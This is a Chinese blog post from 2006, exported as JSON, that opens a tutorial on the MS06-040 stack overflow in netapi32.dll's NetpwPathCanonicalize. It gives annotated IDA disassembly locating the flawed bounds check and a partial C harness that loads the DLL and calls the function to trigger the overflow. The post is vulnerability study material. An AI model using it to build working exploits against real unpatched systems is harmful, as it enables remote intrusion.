{"id":81,"date":"2006-11-13T09:07:50","date_gmt":"2006-11-13T01:07:50","guid":{"rendered":"http:\/\/www.liangliang.org.cn\/blog\/?p=81"},"modified":"2006-11-13T09:07:50","modified_gmt":"2006-11-13T01:07:50","slug":"%e6%b7%b1%e5%85%a5%e6%b5%85%e5%87%bams06-040","status":"publish","type":"post","link":"https:\/\/www.liangliang.org.cn\/?p=81","title":{"rendered":"\u6df1\u5165\u6d45\u51faMS06-040"},"content":{"rendered":"

\u6df1\u5165\u6d45\u51faMS06-040<\/p>\n

\u65f6\u81f3\u4eca\u65e5\uff0c\u7f51\u4e0a\u5df2\u6709\u9887\u591aMS06-040\u7684\u6587\u7ae0\uff0c\u5176\u4e2d\u4e0d\u4e4f\u7cbe\u8f9f\u4e4b\u4f5c\u3002\u4e0e\u5176\u76f8\u6bd4\uff0c\u672c\u6587\u7a81\u663e\u4e1a\u4f59\uff0c\u6280\u672f\u4e0a\u65e0\u6cd5\u8d85\u8d8a\uff0c\u5f92\u901e\u53e3\u820c\u4e4b\u5feb\u3002\u672c\u6587\u9002\u5408\u6709\u4e00\u5b9a\u8ba1\u7b97\u673a\u57fa\u7840\uff0c\u521d\u6b65\u4e86\u89e3\u6ea2\u51fa\u653b\u51fb\u539f\u7406\uff0c\u7a0d\u5fae\u4e86\u89e3\u9006\u5411\u6280\u672f\u7684\u670b\u53cb\u9605\u8bfb\u3002\u5982\u679c\u60a8\u6839\u636e\u672c\u6587\u7684\u6307\u5bfc\u4eb2\u624b\u5b8c\u6210\u4e86\u5168\u90e8\u76847\u8282\u5b9e\u9a8c\u5185\u5bb9\uff0c\u76f8\u4fe1\u60a8\u5bf9\u6808\u6ea2\u51fa\u7684\u638c\u63e1\u548c\u6f0f\u6d1e\u5229\u7528\u7684\u8ba4\u8bc6\u4e00\u5b9a\u4f1a\u5230\u4e00\u4e2a\u66f4\u9ad8\u7684level\u3002\u5b9e\u9a8c\u4e2d\u6d89\u53ca\u7684\u6240\u6709\u7ec6\u8282\u5747\u53ef\u91cd\u73b0\uff0c\u4f7f\u7528\u7684\u6e90\u4ee3\u7801\u90fd\u5df2\u7ecf\u8fc7\u8be6\u7ec6\u7684\u6ce8\u91ca\u9644\u4e8e\u9644\u5f55\u4e4b\u4e2d\u3002
\n\u597d\u4e86\uff0c\u73b0\u5728\u8ba9\u6211\u4eec\u7acb\u523b\u53bb\u4f53\u4f1a\u628a\u201cImpossible\u201d\u53d8\u6210\u201cI\u2019m possible\u201d\u7684\u90a3\u4e00\u6487\u662f\u600e\u4e48\u753b\u8fdbWINDOWS\u91cc\u7684\u5427\u3002<\/p>\n

1 \u6d45\u51fa\u7bc7<\/p>\n

\u2014\u2014\u6b32\u5584\u5176\u4e8b\uff0c\u5148\u5229\u5176\u5668
\n\u601d\u8003\u8bb8\u4e45\uff0c\u4e3a\u4e86\u8ba9\u66f4\u591a\u7684\u4eba\u80fd\u591f\u4eab\u53d7\u5230\u5b9e\u9a8c\u7684\u4e50\u8da3\uff0c\u6211\u8fd8\u662f\u51b3\u5b9a\u7528\u4e00\u4e9b\u7bc7\u5e45\u6765\u4ecb\u7ecd\u51e0\u4e2a\u5728\u672c\u7ae0\u7684\u5b9e\u9a8c\u4e2d\u6d89\u53ca\u5230\u7684\u9006\u5411\u5de5\u5177\u3002\u6ca1\u6709\u5de5\u5177\u7684hacker\u5982\u540c\u6ca1\u6709\u67aa\u7684\u6218\u58eb\uff0c\u6b32\u5584\u5176\u4e8b\uff0c\u5148\u5229\u5176\u5668\uff01
\n1.1 \u9006\u5411\uff0c\u6c38\u6052\u7684\u4e3b\u9898
\n\u5fae\u8f6fPOST\u51fa\u7684\u6f0f\u6d1e\u4fe1\u606f\u662f\u6ca1\u6709\u6280\u672f\u7ec6\u8282\u7684\uff0c\u4e00\u822c\u90fd\u662f\u51e0\u53e5\u7b80\u77ed\u7684\u7c7b\u4f3c\u201cXXXX\u53ef\u80fd\u5b58\u5728\u5141\u8bb8\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u7684\u6f0f\u6d1e\u201d\u4e4b\u7c7b\u7684\u8bdd\u3002\u5149\u9760\u8fd9\u4e9b\u662f\u6ca1\u6709\u529e\u6cd5\u5229\u7528\uff0c\u6e17\u900f\uff0c\u5165\u4fb5\uff0c\u63a7\u5236\u7684\u3002\u8be6\u7ec6\u6280\u672f\u8d44\u6599\u5f88\u96be\u641c\u5230\uff0c\u56e0\u4e3a\u90a3\u90fd\u662f\u5b89\u5168\u4e13\u5bb6\u548chacker\u4eec\u8f9b\u82e6\u7684\u7814\u7a76\u6210\u679c\uff0c\u5f53\u7136\u4eca\u5929\u8ba8\u8bba\u7684MS06-040\u9664\u5916\u3002\u8981\u60f3\u7b2c\u4e00\u65f6\u95f4\u7814\u7a76\u548c\u5229\u7528\u6f0f\u6d1e\uff0c\u4f60\u9700\u8981\u67e5\u51fa\u6f0f\u6d1e\u5bf9\u5e94\u7684\u8865\u4e01\u53f7\uff0c\u8ffd\u67e5\u8fd9\u4e2a\u8865\u4e01patch\u4e86\u54ea\u51e0\u4e2a\u7cfb\u7edf\u6587\u4ef6\u7684\u54ea\u51e0\u4e2a\u90e8\u5206\uff0c\u7136\u540e\u8fdb\u884c\u9006\u5411\u5206\u6790\u3002
\nMS06-040\u6307\u7684\u662fwindows\u7cfb\u7edf\u7684DLL\u6587\u4ef6netapi32.dll\u4e2d\u7684\u51e0\u4e2a\u5bfc\u51fa\u51fd\u6570\u5728\u5b57\u7b26\u4e32\u590d\u5236\u65f6\u6709\u8fb9\u754c\u68c0\u67e5\u7684\u7f3a\u9677\u3002\u672c\u6587\u7684\u5b9e\u9a8c\u548c\u5206\u6790\u90fd\u57fa\u4e8eWIN2000 SP4\u7248\u672c\u7684\u64cd\u4f5c\u7cfb\u7edf\uff0c\u5b83\u4e5f\u662f\u8fd9\u4e2a\u6f0f\u6d1e\u5371\u5bb3\u6700\u4e25\u91cd\u7684\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\u3002
\n\u5728WIN2000 SP4\u4e2d\uff0cNetapi32.dll\u4f4d\u4e8e\u7cfb\u7edf\u76ee\u5f55c:\\winnt\\system32\u4e0b\uff0c\u5927\u5c0f\u4e3a309008\u5b57\u8282\u3002\u5982\u679c\u4f60\u7684\u7cfb\u7edf\u5df2\u7ecf\u6253\u8fc7\u8865\u4e01\uff0c\u5219\u8be5\u6587\u4ef6\u4f1a\u88ab\u8865\u4e01\u66ff\u6362\uff0c\u5927\u5c0f\u4e3a309520\u5b57\u8282\uff0c\u539f\u5148\u7684\u6f0f\u6d1eDLL\u4f1a\u5907\u4efd\u5230\u7cfb\u7edf\u76ee\u5f55\u4e0b\u7684c:\\winnt\\$NtUninstallKB921883$ \u91cc\uff08\u6211\u4e3a\u60a8\u5728\u672c\u6587\u7684\u9644\u52a0\u8d44\u6599\u4e2d\u63d0\u4f9b\u4e86\u8fd9\u4e2aDLL\uff09\u3002Netapi32.dll\u4e2d\u51e0\u4e2a\u6709\u6ea2\u51fa\u95ee\u9898\u7684\u51fd\u6570\uff0c\u672c\u6587\u5b9e\u9a8c\u4ee5\u76ee\u524d\u8ba8\u8bba\u6700\u591a\u7684NetpwPathCanonicalize\uff08\uff09\u51fd\u6570\u7684\u6ea2\u51fa\u4e3a\u4f8b\u8fdb\u884c\u9610\u8ff0\u3002
\nNetapi32.dll\u5e93\u4e2d\u7b2c303\u4e2a\u5bfc\u51fa\u51fd\u6570NetpwPathCanonicalize\uff08\uff09\u7528\u4e8e\u683c\u5f0f\u5316\u7f51\u7edc\u8def\u5f84\u5b57\u7b26\u4e32\uff0c \u5b83\u9700\u89816\u4e2a\u53c2\u6570\uff1a
\n\u53c2\u65701\uff1a\u6307\u5411\u4e00\u4e2aUNICODE\u5b57\u4e32\u7684\u6307\u9488\uff0c\u7528\u4e8e\u751f\u6210\u8def\u5f84\u5b57\u4e32\u7684\u7b2c\u4e8c\u4e2a\u90e8\u5206
\n\u53c2\u65702\uff1a\u6307\u5411\u4e00\u4e2abuffer\u7684\u6307\u9488\uff0c\u7528\u4e8e\u63a5\u6536\u683c\u5f0f\u5316\u540e\u7684\u8def\u5f84\u5b57\u4e32
\n\u53c2\u65703\uff1a\u6307\u5411\u4e00\u4e2a\u6570\u5b57\u7684\u6307\u9488\uff0c\u6807\u660e\u53c2\u65702\u6240\u6307buffer\u7684\u5927\u5c0f
\n\u53c2\u65704\uff1a\u6307\u5411\u4e00\u4e2aUNICODE\u5b57\u4e32\u7684\u6307\u9488\uff0c\u7528\u4e8e\u751f\u6210\u8def\u5f84\u5b57\u4e32\u7684\u7b2c\u4e00\u4e2a\u90e8\u5206
\n\u53c2\u65705\uff1a\u6307\u9488\uff0c\u5728\u6f0f\u6d1e\u5229\u7528\u4e2d\u4e0d\u8d77\u4f5c\u7528
\n\u53c2\u65706\uff1a\u6807\u5fd7\u4f4d\uff0c\u5fc5\u9700\u4e3a0
\n\u8fd9\u4e2a\u51fd\u6570\u5927\u4f53\u529f\u80fd\u662f\u628a\u53c2\u65704\u6240\u6307\u7684\u5b57\u4e32\uff08\u4ee5\u540e\u7b80\u79f04\u53f7\u4e32\uff09\u8fde\u63a5\u4e0a\u2019\/\u2019\u4f5c\u4e3a\u8def\u5f84\u5206\u5272\uff0c\u518d\u8fde\u4e0a\u53c2\u65701\u6240\u6307\u5b57\u4e32\uff08\u540e\u7b80\u79f01\u53f7\u4e32\uff09\uff0c\u5e76\u5c06\u751f\u6210\u7684\u8fd9\u4e2a\u65b0\u4e32\u62f7\u56de\u53c2\u65702\u6240\u6307\u7684buffer\uff0c\u4e5f\u5c31\u662f\u8fd4\u56de\u7ed92\u53f7buffer\u5982\u4e0b\u5f62\u5f0f\u7684\u5b57\u4e32\uff1a 4\u53f7\u4e32 \uff0b \u2018\/\u2019 \uff0b 1\u53f7\u4e32
\n\u8be5\u51fd\u6570\u5728\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u65f6\u7684\u51fd\u6570\u8c03\u7528CanonicalizePathName()\u4f7f\u7528WCSCPY\uff08\uff09\u8fdb\u884c\u5b57\u7b26\u4e32\u62f7\u8d1d\u65f6\uff0c\u8fb9\u754c\u68c0\u67e5\u6709\u7f3a\u9677\uff0c\u53ef\u4ee5\u88ab\u6784\u9020\u6808\u6ea2\u51fa\u3002
\nNetpwPathCanonicalize()\u51fd\u6570\u7684\u7ec6\u8282\u8d44\u6599\u662f\u5f88\u96be\u627e\u5230\u7684\uff0cMSDN\u4e0a\u6ca1\u6709\u4efb\u4f55\u4ecb\u7ecd\uff0c\u751a\u81f3\u5728GOOGLE\u4e0a\u4e5f\u53ea\u662f\u5728srvsvc\u7684\u63a5\u53e3\u5b9a\u4e49\u6587\u4ef6IDL\u91cc\u770b\u5230\u4e86\u51fd\u6570\u58f0\u660e\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\u8981\u5229\u7528\u8fd9\u4e2a\u51fd\u6570\u53ea\u6709\u9760\u81ea\u5df1\u9006\u5411\u5206\u6790\u4e86\u3002\u4e0a\u9762\u8fd9\u4e9b\u8bf4\u660e\u5c31\u662f\u6211\u7528IDA\u628a\u5b83\u53cd\u6c47\u7f16\u540e\u5206\u6790\u3001\u603b\u7ed3\u51fa\u6765\u7684\uff0c\u5728\u672c\u5c0f\u8282\u4e2d\u63d0\u524d\u6446\u51fa\u6765\u662f\u4e3a\u4e86\u8ba9\u60a8\u5728\u9605\u8bfb\u540e\u9762\u8fd9\u8282\u7684\u6c47\u7f16\u4ee3\u7801\u65f6\u63d0\u524d\u6709\u4e00\u4e2a\u5168\u5c40\u89c2\u3002
\n\u4e00\u5b9a\u8981\u575a\u4fe1\uff0c\u6c42\u4eba\u4e0d\u5982\u9760\u81ea\u5df1\u3002\u4e0d\u7ba1\u4f60\u662fcracker\u8fd8\u662fhacker\uff0c\u4e0d\u7ba1\u4f60\u505a\u5916\u6302\u3001\u505a\u8131\u58f3\u3001\u505a\u75c5\u6bd2\u5206\u6790\u3001\u8fd8\u662f\u505aexploit\u7684\u5f00\u53d1\u4eba\u5458\uff0c\u8981\u83b7\u5f97\u7b2c\u4e00\u624b\u8d44\u6599\u90fd\u79bb\u4e0d\u5f00\u9006\u5411\u6280\u672f\u3002\u5c31\u7b97\u5fae\u8f6f\u516c\u5e03\u6e90\u7801\uff0c\u9006\u5411\u6280\u672f\u4ecd\u7136\u662f\u5b89\u5168\u9886\u57df\u91cc\u6c38\u6052\u4e0d\u53d8\u7684\u4e3b\u9898\u3002
\n1.2 IDA\uff0c\u8ff7\u5bab\u7684\u5730\u56fe
\n\u5728\u5927\u4f53\u4e86\u89e3\u4e86\u6f0f\u6d1e\u7684\u4f4d\u7f6e\u4e4b\u540e\uff0c\u6211\u4eec\u9700\u8981\u8fdb\u884c\u8c03\u8bd5\uff0c\u9700\u8981\u83b7\u5f97\u5177\u4f53\u7684\u6808\u7a7a\u95f4\u4fe1\u606f\u4ee5\u53ca\u6f0f\u6d1e\u88ab\u89e6\u53d1\u65f6\u7684\u5bc4\u5b58\u5668\u4fe1\u606f\u3002\u8fdb\u5165\u4e00\u4e2aPE\u6587\u4ef6\u5c31\u597d\u50cf\u7f6e\u8eab\u4e00\u4e2a\u9519\u7efc\u590d\u6742\u7684\u8ff7\u5bab\uff0c\u5149\u9760\u52a8\u6001\u8c03\u8bd5\u5668\u7684\u5206\u6790\u662f\u8fdc\u8fdc\u4e0d\u591f\u7684\u3002IDA\u5f3a\u5927\u7684\u9759\u6001\u5206\u6790\u548c\u6807\u6ce8\u529f\u80fd\u5219\u662f\u8fd9\u4e2a\u8ff7\u5bab\u7684\u5730\u56fe\uff0c\u4ed6\u80fd\u4e3a\u4f60\u7684\u8c03\u8bd5\u5bfc\u822a\u3002
\n\u4e0b\u9762\u6211\u4eec\u5c31\u7528IDA\u6765\u770b\u770b\u8fd9\u4e2a\u795e\u79d8\u7684NetpwPathCanonicalize()\u51fd\u6570\u5230\u5e95\u5e72\u4ec0\u4e48\u7528\u7684\u3002\u5b89\u88c5\u597d\u4e86\u540e\uff0c\u628a\u6211\u4eec\u7684\u95ee\u9898DLL\u76f4\u63a5\u4e22\u8fdbIDA\uff0c\u5ffd\u60a0\u5ffd\u60a0\u51e0\u4e0b\uff0c\u5b83\u5c31\u5206\u6790\u51fa\u7ed3\u6784\u660e\u786e\u8d28\u91cf\u4e0a\u4e58\u7684\u6c47\u7f16\u4ee3\u7801\u4e86\u3002\u8fd9\u91cc\u8981\u5e86\u5e78\u7684\u662f\u6211\u4eec\u7814\u7a76\u7684\u662f\u5fae\u8f6f\u7684\u7cfb\u7edfAPI\u6587\u4ef6\uff0c\u7528C\u8bed\u8a00\u7f16\u5199\u5e76\u4e14\u6ca1\u6709\u4efb\u4f55\u52a0\u58f3\u4e4b\u7c7b\u7684\u4fdd\u62a4\uff0c\u6240\u4ee5\u5f97\u5230\u7684\u7ed3\u679c\u5982\u6b64\u4f18\u7f8e\uff0c\u51e0\u4e4e\u6240\u6709\u7684\u51fd\u6570\u90fd\u81ea\u52a8\u6807\u6ce8\u597d\u4e86\u3002
\n\u6211\u4eec\u76f4\u63a5\u53bbExports\u7a97\u53e3\u5728\u6700\u540e\u51e0\u884c\u627e\u5230\u6211\u4eec\u9700\u8981\u5206\u6790\u7684NetpwPathCanonicalize\uff0c\u53cc\u51fb\u5c31\u8df3\u5230\u4e86\u8fd9\u4e2a\u5bfc\u51fa\u51fd\u6570\u5bf9\u5e94\u7684\u4ee3\u7801\u90e8\u5206\uff0c\u6309\u4e0b\u7a7a\u683c\u952e\u6c47\u7f16\u4ee3\u7801\u5c06\u4ee5\u6d41\u7a0b\u56fe\u7684\u5f62\u5f0f\u663e\u793a\u51fa\u6765\uff0c\u7ed9\u9605\u8bfb\u8005\u4e00\u4e2a\u5168\u5c40\u7684\u628a\u63e1\u3002
\n\u6307\u5357\u9488\u4ecb\u7ecd\u5230\u6b64\u4e3a\u6b62\uff0c\u540e\u9762\u7684\u5206\u6790\u5c31\u8981\u9760\u4eba\u8089\u4e86\u3002\u8fd9\u4e2a\u51fd\u6570\u5e76\u4e0d\u590d\u6742\uff0c\u53ef\u4ee5\u770b\u5230\u751f\u6210\u65b0\u4e32\u7684\u8fc7\u7a0b\u5b9e\u9645\u662f\u5728CanonicalizePathName\uff08\uff09\u5185\u5b8c\u6210\uff08.text:7517F856 call sub_7517FC68\uff09\u3002\u8fd9\u4e2a\u51fd\u6570\u4f7f\u7528\u5c40\u90e8\u53d8\u91cf\uff0c\u5728\u6808\u5185\u5f00\u7a7a\u95f4\u6682\u5b58\u65b0\u4e32\uff0c\u8fd9\u5757\u7a7a\u95f4\u53ef\u88ab\u6ea2\u51fa\u3002
\n\u5177\u4f53\u8bf4\u6765\uff0cNetpwPathCanonicalize\uff08\uff09\u5728\u8c03\u7528CanonicalizePathName\uff08\uff09\u524d\u7684\u52a8\u4f5c\u5305\u62ec\uff1a
\n1.\u5224\u65ad\u7b2c6\u4e2a\u53c2\u6570\u662f\u5426\u4e3a0\uff0c\u4e0d\u4e3a0\u5219\u9000\u51fa
\n2.\u5224\u65ad\u7b2c5\u4e2a\u53c2\u6570\u6240\u6307\u503c\u662f\u5426\u4e3a0\uff0c\u4e3a0\u5219\u8fdb\u884c\u4e00\u6b21NetpwPathType\u7684\u9a8c\u8bc1\u8c03\u7528
\n3.\u5224\u65ad\u7b2c4\u4e2a\u53c2\u6570\u6240\u6307\u503c\u662f\u5426\u4e3a0\uff0c\u82e5\u4e0d\u4e3a0\u5219\u5c06\u6240\u6307\u5b57\u4e32\u653e\u5165NetpwPathType\u8fdb\u884c\u9a8c\u8bc1\u3002
\n4.\u5728\u8fd9\u6b21\u9a8c\u8bc1\u4e2d\uff0c\u5982\u679c4\u53f7\u4e32unicode\u957f\u5ea6\u8d85\u8fc70x103\uff08\u5b57\u8282\u957f\u5ea6\u4e3a0x206\uff09\uff0c\u5219\u8fd4\u56de0x7B \uff08ERROR_INVALID_NAME\uff09,\u5f15\u8d77\u7a0b\u5e8f\u9000\u51fa
\n5.\u9a8c\u8bc1\u63a5\u6536buffer\u7684\u5927\u5c0f\u662f\u5426\u4e3a0\uff0c\u5426\u5219\u9000\u51fa
\n6.\u8c03\u7528CanonicalizePathName\uff08\uff09\u51fd\u6570
\n\u2026\u2026
\nCanonicalizePathName\uff08\uff09\u4e3a\u5b9e\u9645\u53d1\u751f\u6ea2\u51fa\u7684\u51fd\u6570\uff0c\u7528IDA\u91cd\u70b9\u770b\u4e00\u4e0b\u8fd9\u4e2a\u51fd\u6570\uff1a
\n============================ S U B R O U T I N E =============================
\n7517FC68 int __stdcall sub_ CanonicalizePathName (wchar_t *,wchar_t *,wchar_t *,int,int)
\n7517FC68 push ebp
\n7517FC69 mov ebp, esp
\n7517FC6B sub esp, 414h \/\/\u5f00\u8f9f\u6808\u5185\u7a7a\u95f4\uff0c\u7528\u4e8e\u6682\u5b58\u751f\u6210\u7684\u5b57\u7b26\u4e32
\n7517FC71 push ebx
\n7517FC72 push esi
\n7517FC73 xor esi, esi
\n7517FC75 push edi
\n7517FC76 cmp [ebp+arg_0], esi \/\/\u5224\u65ad4\u53f7\u4e32\u5730\u5740\u662f\u5426\u4e3a\u7a7a
\n7517FC79 mov edi, ds:__imp_wcslen
\n7517FC7F mov ebx, 411h
\n7517FC84 jz short loc_7517FCED
\n7517FC86 push [ebp+arg_0] \/\/\u538b\u51654\u53f7\u4e32
\n7517FC89 call edi ; __imp_wcslen \/\/\u8ba1\u7b974\u53f7\u4e32\u7684unicode\u957f\u5ea6\uff0c\u6ce8\u610f\u4e3a\u5b57\u8282\u957f\u5ea6\u7684\u4e00 \/\/\u534a\uff0c\u8fd9\u662f\u5bfc\u81f4\u8fb9\u754c\u68c0\u67e5\u88ab\u7a81\u7834\u7684\u6839\u672c\u539f\u56e0\uff0c\u5373 \/\/\u7528UNICODE\u68c0\u67e5\u8fb9\u754c\uff0c\u800c\u6808\u7a7a\u95f4\u662f\u6309\u5b57\u8282\u5f00\u7684
\n7517FC8B mov esi, eax
\n7517FC8D pop ecx
\n7517FC8E test esi, esi
\n7517FC90 jz short loc_7517FCF4
\n7517FC92 cmp esi, ebx
\n7517FC94 ja loc_7517FD3E \/\/\u82e5\u8d8a\u754c\u5219\u9000\u51fa\u7a0b\u5e8f
\n7517FC9A push [ebp+arg_0] \/\/4\u53f7\u4e32\u5730\u5740
\n7517FC9D lea eax, [ebp+var_414] \/\/\u6808\u4e2d\u6682\u5b58\u4e32\u8d77\u5740
\n7517FCA3 push eax
\n7517FCA4 call ds:__imp_wcscpy \/\/\u5c064\u53f7\u4e32\u62f7\u5165\u6808\u4e2d\u6682\u5b58\u4e32\u3002\u867d\u7136\u524d\u9762\u7684\u8fb9\u754c \/\/\u68c0\u67e5\u6709\u7f3a\u9677\uff0c\u4f3c\u4e4e\u5b9e\u9645\u53ef\u4ee5\u4f20\u5165\u76844\u53f7\u4e32\u53ef\u4ee5\u8fbe \/\/\u52300x822\u5b57\u8282\uff0c\u4f46\u662f4\u53f7\u4e32\u5728\u4f20\u5165\u672c\u51fd\u6570\u524d\u88ab \/\/NetpwPathType()\u63d0\u524d\u68c0\u67e5\u8fc7\uff0c\u6309\u7167\u524d\u9762\u7684\u5206\u6790 \/\/\u77e5\u9053\uff0c\u56db\u53f7\u4e32\u7684\u957f\u5ea6\u4e0d\u80fd\u8d85\u8fc70x206\u5b57\u8282\uff0c\u6240\u4ee5 \/\/\u5149\u9760\u8fd9\u91cc\u7684\u68c0\u67e5\u7f3a\u9677\u8fd8\u4e0d\u8db3\u4ee5\u901a\u8fc74\u53f7\u4e32\u5236\u9020\u6ea2 \/\/\u51fa
\n7517FCAA mov ax, [ebp+esi*2+var_416] \/\/\u53d6\u51fa\u6b64\u523b\u6682\u5b58\u4e32\uff084\u53f7\u4e32\uff09\u7684\u6700\u540e\u4e24\u4e2a\u5b57\u8282\uff0c\u68c0 \/\/\u67e5\u662f\u5426\u662f\u659c\u6760
\n7517FCB2 pop ecx
\n7517FCB3 cmp ax, 5Ch \/\/0x5C=92=ASCII(\\)
\n7517FCB7 pop ecx
\n7517FCB8 jz short loc_7517FCD5
\n7517FCBA cmp ax, 2Fh \/\/0x2F=47=ASCII(\/)
\n7517FCBE jz short loc_7517FCD5
\n7517FCC0 lea eax, [ebp+var_414]
\n7517FCC6 push offset asc_751717B8 \/\/\u538b\u5165\u659c\u6760\u7684unicode
\n7517FCCB push eax
\n7517FCCC call ds:__imp_wcscat \/\/\u628a\u659c\u6760\u7684unicode\u8fde\u63a5\u5230\u6808\u4e2d\u6682\u5b58\u4e32\u7684\u672b\u5c3e
\n7517FCD2 pop ecx
\n7517FCD3 inc esi \/\/\u628a\u659c\u6760\u7684\u957f\u5ea6\u8ba1\u5165\u6682\u5b58\u4e32
\n7517FCD4 pop ecx
\n7517FCD5 mov eax, [ebp+arg_4] \/\/\u53d6\u51fa1\u53f7\u4e32\uff0c\u7c7b\u4f3c\u7684\u68c0\u67e51\u53f7\u4e32\u7684\u9996\u5b57\u7b26\u662f\u5426\u662f \/\/\u659c\u6760\u6216\u53cd\u659c\u6760
\n7517FCD8 mov ax, [eax]
\n7517FCDB cmp ax, 5Ch
\n7517FCDF jz short loc_7517FCE7
\n7517FCE1 cmp ax, 2Fh
\n7517FCE5 jnz short loc_7517FCF4
\n7517FCE7 add [ebp+arg_4], 2
\n7517FCEB jmp short loc_7517FCF4
\n7517FCED mov [ebp+var_414], si
\n7517FCF4 push [ebp+arg_4] \/\/1\u53f7\u4e32\u5730\u5740
\n7517FCF7 call edi ; __imp_wcslen
\n7517FCF9 add eax, esi \/\/\u8ba1\u7b974\u53f7\u4e32\u957f\uff0b\u659c\u6760\u957f\u5ea6\uff0b1\u53f7\u4e32\u957f\u7684\u5927\u5c0f
\n7517FCFB pop ecx
\n7517FCFC cmp eax, ebx
\n7517FCFE ja short loc_7517FD3E \/\/\u7b2c\u4e8c\u6b21\u8fb9\u754c\u68c0\u67e5\u3002\u4ece\u524d\u9762\u5206\u6790\u53ef\u4ee5\u77e5\u9053\uff0c\u53ea\u97604\u53f7 \/\/\u4e32\u662f\u65e0\u6cd5\u5236\u9020\u6ea2\u51fa\u7684\uff0c\u4f46\u662f1\u53f7\u4e32\u7684\u4f20\u5165\u6ca1\u6709\u4efb\u4f55\u9650 \/\/\u5236\uff0c\u6240\u4ee5\u53ef\u4ee5\u901a\u8fc7\u589e\u52a01\u53f7\u4e32\u7684\u4e32\u957f\u6765\u6ea2\u51fa\u3002\u6808 \/\/\u7a7a\u95f4\u4e3a0x414\uff0c\u6211\u4eec\u5b9e\u9645\u53ef\u4f20\u5165\u7684\u4e32\u603b\u957f\u53ef\u4ee5\u8fbe\u5230 \/\/0x828\u6ef4
\n7517FD00 push [ebp+arg_4] \/\/1\u53f7\u4e32
\n7517FD03 lea eax, [ebp+var_414]
\n7517FD09 push eax
\n7517FD0A call ds:__imp_wcscat \/\/\u5c061\u53f7\u4e32\u8fde\u5165\u6808\u4e2d\u6682\u5b58\u4e32,\u751f\u6210\u6700\u7ec8\u7684\u8def\u5f84\u5b57\u4e32\uff0c\u8fd9\u4e2a \/\/\u8c03\u7528\u5bfc\u81f4\u4e86\u6700\u7ec8\u7684\u6808\u6ea2\u51fa
\n7517FD10 pop ecx
\n\u2026\u2026\u2026\u2026
\n7517FD66 lea eax, [ebp+var_414]
\n7517FD6C push eax
\n7517FD6D push [ebp+arg_8]
\n7517FD70 call ds:__imp_wcscpy \/\/\u5c06\u6808\u4e2d\u7684\u7ed3\u679c\u4f20\u56de\u7b2c\u4e8c\u4e2a\u53c2\u6570\u6240\u6307\u7684buffer
\n7517FD76 pop ecx
\n7517FD77 xor eax, eax
\n7517FD79 pop ecx
\n7517FD7A pop edi
\n7517FD7B pop esi
\n7517FD7C pop ebx
\n7517FD7D leave
\n7517FD7E retn 14h
\n========================= S U B R O U T I N E ==============================
\n\u4ee3\u78011\uff1anetapi32.dll\u53cd\u6c47\u7f16\u4ee3\u7801\u7247\u65ad\uff0c\u5b8c\u6574\u4ee3\u7801\u53ef\u7531\u9644\u4ef6\u4e2d\u7684DLL\u6587\u4ef6\u53cd\u6c47\u7f16\u5f97\u5230
\n\u5982\u6ce8\u91ca\u4e2d\u6240\u8ff0\uff0c\u4e24\u6b21\u5bf9\u6808\u4e2d\u6682\u5b58\u4e32\u8fb9\u754c\u7684\u9650\u5236\u90fd\u662funicode\u957f\u5ea6\u4e0d\u80fd\u8d85\u8fc70x411\uff0c\u6362\u7b97\u6210\u5b57\u8282\u957f\u5ea6\u5c31\u662f0x822\uff0c\u800c\u6808\u7a7a\u95f4\u7684\u5927\u5c0f\u662f\u6309\u5b57\u8282\u5f00\u76840x414\uff0c\u8fd9\u662f\u8fb9\u754c\u68c0\u67e5\u5931\u8d25\u7684\u6839\u672c\u6240\u5728\u3002
\n\u53e6\u5916\uff0c4\u53f7\u4e32\u7531\u4e8e\u5fc5\u987b\u901a\u8fc7NetpwPathType\uff08\uff09\u7684\u9a8c\u8bc1\u624d\u80fd\u4f20\u5165CanonicalizePathName\uff08\uff09\uff0c\u6240\u4ee5\u4e32\u957f\u4e0d\u80fd\u8d85\u8fc70x206\u5b57\u8282\uff0c\u4f46\u662f\u7ecf\u8fc7wcscat\uff08\uff09\u6ca1\u6709\u957f\u5ea6\u9650\u5236\u76841\u53f7\u4e32\u4e4b\u540e\uff0c\u5c31\u53ef\u4ee5\u6210\u529f\u7684\u5236\u9020\u4e00\u4e2a\u6808\u6ea2\u51fa\u4e86\u3002
\n1.3 OLLYDBG\uff0c\u5e96\u4e01\u89e3\u725b
\n\u7ecf\u8fc7IDA\u7684\u9759\u6001\u5206\u6790\uff0c\u4e0b\u9762\u6211\u4eec\u6765\u5c1d\u8bd5\u4e00\u4e0b\u52a8\u6001\u8c03\u8bd5\u8fd9\u4e2a\u51fd\u6570\uff0c\u5e76\u89e6\u53d1\u8fd9\u4e2a\u6ea2\u51fa\u3002\u9996\u5148\u8981\u505a\u7684\u662fload\u8fd9\u4e2a\u52a8\u6001\u94fe\u63a5\u5e93\uff0c\u7136\u540e\u5b9a\u4f4d\u5230NetpwPathCanonicalize\uff08\uff09\u51fd\u6570\u7684\u5730\u5740\uff0c\u63a5\u7740\u5c31\u53ef\u4ee5\u8c03\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u51fd\u6570\u4e86\u3002
\n\u672c\u5730\u7684\u6ea2\u51fa\u5b9e\u9a8c\u4e0d\u4e00\u5b9a\u975e\u8981\u627e\u53f0\u6709\u6f0f\u6d1e\u7684\u673a\u5668\u3002\u5982\u679c\u4f60\u7684\u673a\u5668\u4e0d\u662fWIN2000 SP4\u6216\u8005\u662f\u6253\u8fc7\u8865\u4e01\u7684\u673a\u5668\uff0c\u53bb\u54ea\u91cc\u627e\u8fd9\u4e2a\u5e93\u6587\u4ef6\u524d\u9762\u5df2\u7ecf\u8bf4\u8fc7\u4e86\u3002
\n\u6bd4\u5982\u7528\u4e0b\u9762\u8fd9\u79cd\u5f62\u5f0f\u8c03\u7528\uff1a
\n==========================================================================
\n#include
\n#include
\ntypedef void (*MYPROC)(LPTSTR);
\nint main()
\n{
\nHINSTANCE LibHandle;
\nMYPROC ProcAdd;
\nchar dllbuf[40] = \".\/netapi32.dll\";
\nchar Trigger[40] = \"NetpwPathCanonicalize\";
\n\u2026\u2026\/\/function arg define
\nLibHandle = LoadLibrary(dllbuf);
\nProcAdd = (MYPROC) GetProcAddress(LibHandle, Trigger);
\n\u2026\u2026\/\/function arg init
\n(ProcAdd)(arg_1,arg_2,arg_3,arg_4,buf5,0);
\nFreeLibrary(LibHandle);
\n}
